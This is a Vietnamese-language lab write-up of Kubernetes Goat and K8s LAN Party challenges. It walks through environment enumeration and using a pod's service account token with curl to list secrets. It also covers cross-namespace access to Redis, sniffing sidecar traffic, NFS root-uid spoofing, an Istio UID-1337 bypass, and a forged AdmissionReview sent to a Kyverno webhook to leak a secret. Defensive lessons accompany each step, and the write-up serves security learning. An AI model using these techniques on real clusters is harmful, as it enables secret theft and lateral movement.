Thực hành và nghiên cứu các kĩ thuật tấn công Kubernetes
Buổi 1 : Học trên KubernetesGoat
Dựng cluster bằng Kind
curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.31.0/kind-linux-amd64
chmod +x ./kind
sudo mv ./kind /usr/local/bin/kind
kind version
Cài kubectl
sudo apt install -y kubernetes-client
kubectl version --client
Tạo cluster
kind create cluster --name goat
kubectl get nodes


git clone https://github.com/madhuakula/kubernetes-goat.git
cd kubernetes-goat
chmod +x setup-kubernetes-goat.sh access-kubernetes-goat.sh
bash setup-kubernetes-goat.sh
kubectl get pods
bash access-kubernetes-goat.sh

Bài 1 : Gaining enviroment information
Bài đầu tiên là enum để tìm ra các cred của hệ thống
Hầu hết các phiên bản điện toán khi chạy ứng dụng đều lưu trữ thông tin nhạy cảm như secrets, api_keys, v.v. trong các biến môi trường. Tương tự, trong Kubernetes, hầu hết mọi người lưu trữ thông tin nhạy cảm như Kubernetes Secrets và các giá trị Config trong các biến môi trường và nếu kẻ tấn công có thể tìm thấy các lỗ hổng ứng dụng như RCE (thực thi mã từ xa) hoặc chèn lệnh thì bí mật đó sẽ bị lộ.

Trước tiên thì t enum bằng các lệnh cơ bản

oot@system-monitor-deployment-866f697c75-67qj4:/# env
KUBERNETES_SERVICE_PORT_HTTPS=443
SYSTEM_MONITOR_SERVICE_SERVICE_PORT=8080
BUILD_CODE_SERVICE_PORT_3000_TCP_PROTO=tcp
KUBERNETES_GOAT_HOME_SERVICE_SERVICE_PORT=80
KUBERNETES_SERVICE_PORT=443
KUBERNETES_GOAT_HOME_SERVICE_PORT_80_TCP_PORT=80
HOSTNAME=system-monitor-deployment-866f697c75-67qj4
BUILD_CODE_SERVICE_PORT=tcp://10.96.99.17:3000
SYSTEM_MONITOR_SERVICE_PORT_8080_TCP_ADDR=10.96.59.36
SYSTEM_MONITOR_SERVICE_PORT_8080_TCP=tcp://10.96.59.36:8080
INTERNAL_PROXY_INFO_APP_SERVICE_PORT_5000_TCP=tcp://10.96.78.20:5000
INTERNAL_PROXY_API_SERVICE_PORT_3000_TCP_PROTO=tcp
HEALTH_CHECK_SERVICE_PORT_80_TCP=tcp://10.96.17.194:80
BUILD_CODE_SERVICE_PORT_3000_TCP_PORT=3000
INTERNAL_PROXY_INFO_APP_SERVICE_PORT=tcp://10.96.78.20:5000
POOR_REGISTRY_SERVICE_PORT_5000_TCP_ADDR=10.96.58.92
HEALTH_CHECK_SERVICE_PORT_80_TCP_ADDR=10.96.17.194
INTERNAL_PROXY_API_SERVICE_PORT=tcp://10.96.185.85:3000
PWD=/
K8S_GOAT_VAULT_KEY=k8s-goat-cd2da27224591da2b48ef83826a8a6c3
INTERNAL_PROXY_INFO_APP_SERVICE_PORT_5000_TCP_ADDR=10.96.78.20
HEALTH_CHECK_SERVICE_PORT=tcp://10.96.17.194:80
KUBERNETES_GOAT_HOME_SERVICE_PORT_80_TCP=tcp://10.96.139.85:80
KUBERNETES_GOAT_HOME_SERVICE_PORT_80_TCP_PROTO=tcp
SYSTEM_MONITOR_SERVICE_PORT_8080_TCP_PORT=8080
POOR_REGISTRY_SERVICE_SERVICE_PORT=5000
SYSTEM_MONITOR_SERVICE_PORT_8080_TCP_PROTO=tcp
POOR_REGISTRY_SERVICE_PORT_5000_TCP_PROTO=tcp
HOME=/root
BUILD_CODE_SERVICE_SERVICE_PORT=3000
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
LS_COLORS=
POOR_REGISTRY_SERVICE_PORT_5000_TCP_PORT=5000
INTERNAL_PROXY_INFO_APP_SERVICE_SERVICE_PORT=5000
HEALTH_CHECK_SERVICE_PORT_80_TCP_PROTO=tcp
INTERNAL_PROXY_INFO_APP_SERVICE_SERVICE_HOST=10.96.78.20
HEALTH_CHECK_SERVICE_SERVICE_HOST=10.96.17.194
INTERNAL_PROXY_INFO_APP_SERVICE_PORT_5000_TCP_PORT=5000
INTERNAL_PROXY_INFO_APP_SERVICE_PORT_5000_TCP_PROTO=tcp
INTERNAL_PROXY_API_SERVICE_PORT_3000_TCP_PORT=3000
BUILD_CODE_SERVICE_PORT_3000_TCP_ADDR=10.96.99.17
INTERNAL_PROXY_API_SERVICE_PORT_3000_TCP_ADDR=10.96.185.85
SYSTEM_MONITOR_SERVICE_PORT=tcp://10.96.59.36:8080
SHLVL=1
BUILD_CODE_SERVICE_SERVICE_HOST=10.96.99.17
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
HEALTH_CHECK_SERVICE_PORT_80_TCP_PORT=80
INTERNAL_PROXY_API_SERVICE_SERVICE_PORT=3000
SYSTEM_MONITOR_SERVICE_SERVICE_HOST=10.96.59.36
INTERNAL_PROXY_API_SERVICE_PORT_3000_TCP=tcp://10.96.185.85:3000
KUBERNETES_GOAT_HOME_SERVICE_SERVICE_HOST=10.96.139.85
KUBERNETES_SERVICE_HOST=10.96.0.1
INTERNAL_PROXY_API_SERVICE_SERVICE_HOST=10.96.185.85
KUBERNETES_GOAT_HOME_SERVICE_PORT=tcp://10.96.139.85:80
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
BUILD_CODE_SERVICE_PORT_3000_TCP=tcp://10.96.99.17:3000
HEALTH_CHECK_SERVICE_SERVICE_PORT=80
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_GOAT_HOME_SERVICE_PORT_80_TCP_ADDR=10.96.139.85
POOR_REGISTRY_SERVICE_SERVICE_HOST=10.96.58.92
POOR_REGISTRY_SERVICE_PORT_5000_TCP=tcp://10.96.58.92:5000
POOR_REGISTRY_SERVICE_PORT=tcp://10.96.58.92:5000
_=/usr/bin/env
- Mình đang là root trong container, chưa có nghĩa là root của node.
- Pod hiện tại: system-monitor-deployment-866f697c75-67qj4.
- Kubernetes API server: 10.96.0.1:443 hoặc DNS kubernetes.default.svc.
- Có nhiều service nội bộ: build-code, internal-proxy, poor-registry, health-check.
-
Có một secret lộ ngay trong env:
K8S_GOAT_VAULT_KEY=k8s-goat-cd2da27224591da2b48ef83826a8a6c3

Đây có vẻ là flag của bài
-
Có thư mục đáng nghi:
/host-system
Pod này có service account token được mount có namespace là default
-> Từ trong container này , ta có thể dùng identity của SA được gắn cho pod này.
Chúng ta có thể khám phá container bằng cách chạy các lệnh khác nhau để có thể enum để có thể hiểu hơn về hệ thống
Chúng ta có thể get the container runtime bằng cách chạy những lệnh sau
cat /proc/self/cgroup

Get the information of the container host
cat /etc/hosts/
Get the mount information
mount
Access the environment variables, including Kubernetes secrets mounted and service names, ports, etc
printenv
Chúng ta qua bài tiếp theo là
K8s namespace bypass

Đây là một quan niệm sai lầm lớn trong thế giới Kubernetes. Hầu hết mọi người cho rằng khi có các namespace khác nhau trong Kubernetes và các tài nguyên được triển khai và quản lý, chúng sẽ an toàn và không thể truy cập lẫn nhau
Theo mặc định K8S sử dụng lược đồ mạng phẳng , có nghĩa là các pod/service trong 1 cluster có thể nói chuyện với nhau. Mà namespace ở trong cluster không có sự hạn chế bảo mật mạng theo mặt định. Anyone ở trong namespace đều có thể nói chuyện với namespacce khác . Trong trường hợp sau đây thì chúng ta có thể bypass namespace để có thể truy cập tài nguyen của namespace khác


truy cập vào bài lab

Đầu tiên chúng ta cần phải hiểu về thông tin địa chỉ IP của cluster để có thể tiến hành recon quét các dãy mạng của cluster
Một số lệnh cơ bản để có thể xem là : ip route , ifconfig , printenv,…


Pod IP: 10.244.0.15 Pod CIDR route: 10.244.0.0/24 Kubernetes DNS: 10.96.0.10 Service network thấy qua env: 10.96.x.x DNS search: default.svc.cluster.local svc.cluster.local cluster.local

RBAC đã chặn ko cho t đọc service rồi
Vì bài gợi ý “Kubernetes-Goat loves cache”, ta nghi có cache service. Cache thường là Redis hoặc Memcached. Redis dùng port 6379.
zmap mặc định blacklist private ranges, trong đó có 10.0.0.0/8, nên nó tự chặn không cho scan. Vì vậy bạn bỏ đoạn đó và scan redis port để tìm được dãy mạng của redis


- Ngoài scan IP, Kubernetes còn hỗ trợ DNS service theo dạng:
<service-name>.<namespace>.svc.cluster.local
nên ta phân giải được tên miền chứng tỏ rằng từ pod namespace default, bạn có thể resolve được service ở namespace secure-middleware. Giờ test port Redis:

- Namespace default và secure-middleware khác nhau.
- Nhưng pod hacker-container vẫn truy cập được Redis service namespace khác.
- Lý do: Kubernetes mặc định flat network, namespace không tự tạo network isolation.
- Cách phòng thủ: dùng NetworkPolicy, auth cho Redis/cache, không tin “internal only”.
RBAC least privileges misconfiguration

Trong thực tế, chúng ta thường thấy các nhà phát triển và nhóm DevOps cấp quyền dựa trên tư duy mặc định cho tất cả vì nghĩ rằng nó sẽ tiện lợi , tức là cấp quyền nhiều hơn mức cần thiết. Điều này dẫn đến việc kẻ tấn công có được nhiều quyền kiểm soát và đặc quyền vượt ngoài phạm vị mà họ dự định.
Mục tiêu bài này là Dùng service account trong pod để gọi Kubernetes API Lợi dụng RBAC quá rộng Đọc secret k8svaultapikey Lấy k8s_goat_flag
Trước khi vào bài thì tui muốn nói sơ về khái niệm về ServiceAccount cũng như RBAC
1. Xác định service account token

2. Set biến để gọi API server
export APISERVER=https://${KUBERNETES_SERVICE_HOST} export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace) export TOKEN=$(cat ${SERVICEACCOUNT}/token) export CACERT=${SERVICEACCOUNT}/ca.crt
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api

3. Recon quyền bằng REST API
List secret trong namespace hiện tại:
curl --cacert $CACERT -H "Authorization: Bearer $TOKEN" \ $APISERVER/api/v1/namespaces/$NAMESPACE/secrets


Decode ra thì lấy được flag

- Pod có Kubernetes identity riêng
Pod thường được gắn một ServiceAccount. Token của ServiceAccount nằm trong:
/var/run/secrets/kubernetes.io/serviceaccount/
- Có shell trong pod là có thể gọi Kubernetes API
Nếu attacker có RCE/shell trong container, họ có thể lấy token đó rồi gọi API server:
https://${KUBERNETES_SERVICE_HOST}
-
RBAC quyết định pod được làm gì trong cluster
Token không tự nguy hiểm nếu RBAC chặt. Nhưng nếu ServiceAccount được cấp quyền quá rộng, attacker có thể list/get tài nguyên nhạy cảm. -
Secret trong Kubernetes chỉ an toàn nếu quyền đọc được kiểm soát tốt
Trong bài này, ServiceAccount đáng lẽ chỉ cần quyền với webhookapikey, nhưng lại đọc được cả vaultapikey. -
Least privilege rất quan trọng
Đây là lỗi thực tế hay gặp: DevOps cấp quyền “cho tiện”, ví dụ get/list secrets, rồi một pod bị compromise có thể biến thành credential theft trong cluster.
Buổi 2 : K8s Lan Party


Đến với bài đầu tiên thì t sẽ làm 1 chall về Recon , thì như bạn nào đã từng làm các bài lab về leo thang thì việc đầu tiên để có thể leo thang được thì chúng ta cần phải recon hoặc enum để có thêm 1 vài attack surfaces , nó giúp ích cho chúng ta trong các bước nâng cao đặc quyền tiếp theo .
Trong bài lab này , khi mà t đã compomise vào 1 Pod trong K8s , và bước tiếp theo là muốn khám phá thêm các internal service để có thể mở rộng phạm vi leo thang.
Thông thường K8s , các service thường liên lạc với nhau qua DNS nội bộ.
Hai loại thành phần chính của Kubernetes mà bạn sẽ quan tâm nhất khi muốn tấn công các ứng dụng khác có thể truy cập được trên mạng trong cụm là pod và service .
Pod là các nhóm gồm một hoặc nhiều container đang chạy, và đây là nơi các ứng dụng mạng nội bộ mà bạn muốn tấn công sẽ hoạt động. Mỗi Pod có địa chỉ IP internal cluster được liên kết với chúng, và có một hoặc nhiều cổng mạng được công khai mà bạn có thể sử dụng để giao tiếp với các ứng dụng mạng.
Các service là những cách thức thân thiện để hiển thị các ứng dụng đang chạy trên một hoặc nhiều pod. Chúng cũng có địa chỉ IP của cluster và một hoặc nhiều cổng được hiển thị, cũng như nhiều bản ghi DNS liên kết được cấu hình trong trình phân giải DNS của cụm. Việc truy cập ứng dụng bằng dịch vụ so với truy cập trực tiếp vào pod thường tương tự nhau, tuy nhiên các service có thêm các tính năng khám phá có thể hữu ích cho chúng ta.
Địa chỉ IP được sử dụng cho các pod thường nằm trong một dải mạng riêng biệt, khác với địa chỉ IP của các dịch vụ.
Giờ chúng ta đã xác định được những gì mình cần tìm, hãy cùng xem xét một số phương pháp có thể sử dụng để xác định các thành phần này.
Đầu tiên chúng ta sẽ kiểm tra các biến môi trường , chúng thường chứa địa chỉ ip ,port của các service khác trong cluster .

Ngoài ra bạn có thể lấy địa chỉ IP của cụm là các tệp /etc/hosts(cung cấp địa chỉ IP cục bộ của pod, mà bạn cũng có thể lấy từ các lệnh iphoặc ifconfig) và /etc/resolv.conf(cung cấp địa chỉ máy chủ DNS của cụm và các miền tìm kiếm DNS, từ đó suy ra namespace của pod).
Ngoài ra bạn cũng có thể lấy các SA token của pod hoặc ra tìm các namespace của pod đang chạy . https://thegreycorner.com/2023/12/13/kubernetes-internal-service-discovery.html#kubernetes-dns-to-the-partial-rescue
Tiếp tục với bài này thì chúng ta có thể sử dụng 1 cái tool dnscan https://gist.github.com/nirohfeld/c596898673ead369cb8992d97a1c764e để có thể quét

Khi chúng ta kiểm tra bằng env thì có thể thấy rằng IP của API server của K8s là 10.100.0.1 port là 443

kết quả Hostname: getflag-service.k8s-lan-party.svc.cluster.local.
Cái tên “getflag-service” chính là nơi chứa Flag hoặc mã để vượt qua thử thách này.


Tới phần tiếp theo là phần finding neighbour
Thì theo như mình tìm hiểu sidecar container là một container chạy “kèm” theo container chính trong cùng một Pod.
- Mục đích: Nó không thực hiện logic chính của ứng dụng mà cung cấp các dịch vụ hỗ trợ như: ghi log, giám sát, hoặc bảo mật
Vì các container nằm trong cùng một Kubernetes Pod sẽ dùng chung một network namespace, chúng sẽ chia sẻ hoàn toàn giao diện mạng (network interfaces), loopback adapter (localhost) và địa chỉ IP với nhau.
Nếu có một container khác đang chạy ngầm ngay bên cạnh bạn trong Pod này, mọi dữ liệu mạng mà nó gửi hoặc nhận với các dịch vụ nội bộ đều có thể xem từ chính container của bạn.
tcpdump -A

Và đây là flag
Hãy đảm bảo rằng giao tiếp giữa các Pod luôn được mã hóa. Cách đơn giản nhất để bắt đầu mã hóa giao tiếp giữa các Pod là sử dụng service mesh .

giao thức này ra đời từ thời kỳ mà kiểm soát truy cập (access control) chỉ dựa vào mạng ,nghĩa l à mình ko cần xác thực bằng thông tin đăng nhập . Tui tham khảo trên mạng thì nghĩ ngay tới NFS , hoặc AWS EFS


Dùng công cụ NFS Client để “bypass” quyền
Trong môi trường này có sẵn công cụ nfs-ls và nfs-cat (thuộc bộ libnfs). Giao thức NFSv4 cho phép chúng ta truyền tham số uid=0 (Root) và gid=0 trực tiếp qua chuỗi kết nối để ép server nhận diện mình là Root


apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
name: istio-get-flag
namespace: k8s-lan-party
spec:
action: DENY
selector:
matchLabels:
app: "{flag-pod-name}"
rules:
- from:
- source:
namespaces: ["k8s-lan-party"]
to:
- operation:
methods: ["POST", "GET"]


https://pulsesecurity.co.nz/advisories/istio-egress-bypass?source=post_page—–c773190e9246—————————————
Phương pháp bỏ qua này cho phép bất kỳ người dùng nào có userID 1337 đều có thể bypass bộ lọc proxy của Istio, từ đó kích hoạt chính sách ủy quyền. May mắn thay, lần này chúng ta là người dùng root trong hệ thống, nghĩa là chúng ta có thể tạo một người dùng khác và đặt userID là 1337.


Đầu tiên chạy dns scan

Kyverno là công cụ quản lý chính sách (Policy Engine) dành riêng cho Kubernetes, giúp bạn xác thực, chỉnh sửa và khởi tạo tài nguyên bằng ngôn ngữ YAML quen thuộc. Thay vì học ngôn ngữ phức tạp, Kyverno cho phép đội ngũ DevOps tự động hóa việc bảo mật và chuẩn hóa cấu hình cluster một cách đơn giản, hiệu quả và cực kỳ gọn nhẹ.
Dựa trên chall chính sách này đang thực hiện tính năng Mutation: tự động chèn giá trị bí mật (secret) vào biến môi trường FLAG cho bất kỳ Pod nào được tạo trong namespac
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: apply-flag-to-env
namespace: sensitive-ns
spec:
rules:
- name: inject-env-vars
match:
resources:
kinds:
- Pod
mutate:
patchStrategicMerge:
spec:
containers:
- name: "*"
env:
- name: FLAG
value: "{flag}"
Vì tôi mình biết về admission controllers and mutating webhooks, nên mình ngay lập tức hiểu được kỳ vọng. Dưới đây là sơ đồ mô tả cách thức hoạt động.

cat <<EOF > pod.json
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "00000000-0000-0000-0000-000000000000",
"kind": {
"group": "",
"version": "v1",
"kind": "Pod"
},
"resource": {
"group": "",
"version": "v1",
"resource": "pods"
},
"subResource": "",
"requestKind": {
"group": "",
"version": "v1",
"kind": "Pod"
},
"requestResource": {
"group": "",
"version": "v1",
"resource": "pods"
},
"requestSubResource": "",
"name": "sensitive-pod",
"namespace": "sensitive-ns",
"operation": "CREATE",
"userInfo": {
"username": "kubernetes-admin",
"groups": [
"system:masters",
"system:authenticated"
]
},
"object": {
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "sensitive-pod",
"namespace": "sensitive-ns",
"labels": {
"app": "nginx"
}
},
"spec": {
"containers": [
{
"name": "nginx",
"image": "nginx:latest"
}
]
}
},
"oldObject": null,
"dryRun": false,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
EOF
Bước 2: Gửi request đến Kyverno Webhook
Bây giờ cấu trúc đã chuẩn hóa, bạn chạy lệnh curl này để ép Kyverno trả flag
curl -X POST -H "Content-Type: application/json" --data @pod.json https://kyverno-svc.kyverno/mutate -k


Trong cụm Kubernetes này, quản trị viên dùng Kyverno để tự động hóa một việc:
- Họ cài một chính sách (Policy) quy định: “Bất kỳ ai tạo một Pod (vùng chứa ứng dụng) nằm trong namespace tên là
sensitive-ns, Kyverno sẽ tự động chèn thêm một biến môi trường chứa Flag bí mật vào Pod đó”.
Thông thường, người dùng muốn lấy Flag thì phải có quyền dùng lệnh kubectl để tạo một Pod thật trong namespace sensitive-ns, sau đó vào Pod đó để đọc biến môi trường. Nhưng ở đây, bạn không có quyền tạo Pod thật.
Kyverno hoạt động dựa trên cơ chế Mutating Webhook (một dịch vụ mạng chạy ngầm). Khi có yêu cầu tạo Pod, Kubernetes API Server sẽ gửi một gói tin dữ liệu cấu hình (dạng JSON) đến Webhook này của Kyverno để nó chỉnh sửa.
Cái sai nghiêm trọng của người quản trị ở đây là: Họ mở dịch vụ Webhook này (https://kyverno-svc.kyverno/mutate) cho tất cả các Pod nội bộ truy cập mà không hề cấu hình tường lửa mạng (Network Policy) hay xác thực mTLS để chặn lại.
-
Gửi cấu hình nháp: Bạn dùng lệnh
curlđể gửi một file JSON cấu hình nháp (pod.json) giả vờ như đang muốn tạo một Pod trong namespacesensitive-nsthẳng tới cổng dịch vụ của Kyverno. -
Kyverno bị lừa: Kyverno nhận được gói tin, không hề kiểm tra xem ai gửi, cứ thấy có yêu cầu tạo Pod ở
sensitive-nslà nó tự động làm theo lập trình: Chèn ngay đoạn mã chứa Flag vào cấu hình rồi gửi trả ngược lại cho bạn. -
Lấy Flag: Đoạn mã chứa Flag trả về được mã hóa dưới dạng Base64 để bảo toàn cấu trúc dữ liệu, bạn chỉ cần mang chuỗi đó đi giải mã (
base64 -d) là nhìn thấy Flag lộ ra rõ mồm một.